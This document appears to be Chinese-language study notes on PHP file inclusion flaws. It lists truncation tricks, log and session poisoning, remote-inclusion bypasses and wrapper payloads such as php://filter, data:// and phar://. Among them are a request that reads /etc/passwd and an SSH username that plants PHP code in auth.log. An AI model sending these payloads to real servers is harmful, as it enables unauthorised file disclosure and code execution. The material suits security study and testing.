PHP 文件包含小结

相关函数

require()

生成致命错误 (E_COMPILE_ERROR) 并停止脚本。

include()

只生成警告(E_WARNING),脚本会继续。

require_once() & include_once()

如前面已包含,忽略本次,用于嵌套包含,避免函数重定义,变量重新赋值等。

包含文件

本地文件包含

  • %00截断: PHP版本 < 5.3.4, magic_quotes_gpc=Off
  • 长度截断: PHP版本 < php 5.2.8,Windows为256字节、Linux为4096字节
1
2
3
4
5
include($filename.".php");

?file=phpinfo.txt%00

?file=./././././. ... ./././shell.txt

包含session文件

  • session文件路径: phpinfo()
  • session.use_strict_mode:session id使用方式,0 - 客户端,1 - 服务端,缺省为0
  • phpstudy的sessionId存储目录默认在tmp/tmp

包含资源文件

  • .jpg/.png …
  • .rar/.zip/.tar/.tar.gz/.7z …
  • .txt/.doc/.xls/.docx
  • .mp4/.mp3 …

包含日志文件

  • 中间件日志:access.log、error.log …
  • FTP日志: /var/log/vsftpd.log (用户名输入一句话)
  • SSH日志: /var/log/auth.log
  • MySQL日志: /var/log/mysql/error.log
  • Web应用日志
1
2
3
4
5
6
7
ssh "<?php phpinfo(); ?>"@192.168.1.1

/var/log/nginx/

/var/log/apache2/

...

远程文件包含

1
2
3
allow_url_fopen = On  默认为 On

allow_url_include = On >= 5.2 默认为 Off
  • 问号绕过: http://xxx/abc.txt?
  • 井号绕过: http://xxx/abc.txt%23
  • 空格绕过: http://xxx/abc.txt%20
1
include($filename.".php");

伪协议

  • file://
1
2
3
?file=file://./1.txt

?file=file:///etc/passwd
  • php://filter
1
?filename=php://filter/convert.base64-encode/resource=filename
  • data://
1
2
3
4
5
6
7
8
9
10
PHP版本 >= 5.2

allow_url_fopen: On

allow_url_include: On


?filename=data://text/plain,<?php phpinfo(); ?>

?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pgo=
  • zip://
1
2
3
4
5
6
PHP版本 >= 5.3.0


?file=zip://C:/uploads/phpinfo.zip%23phpinfo.php

?file=zip://./uploads/file.jpg%23phpcode.txt
  • bzip2://
1
2
3
4
5
6
PHP版本 >= 5.3.0

xxx.bz2 格式


?file=compress.bzip2://C:/uploads/file.jpg
  • zlib://
1
2
3
4
5
6
PHP版本 >= 5.3.0

xxx.gz 格式


?file=compress.zlib://C:/uploads/file.jpg
  • php://input
1
2
3
4
5
6
allow_url_include = On

enctype=multipart/form-data 时无效


?file=php://input
  • php://filter
1
2
3
4
5
?file=php://filter/resource=1.txt

?file=php://filter/convert.base64-encode/resource=phpinfo.php

?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
  • phar://
1
2
3
4
5
6
PHP版本 >= 5.3.0


?file=phar://phpinfo.zip/phpinfo.txt

?file=phar://C:/uploads/phpinfo.zip/phpinfo.txt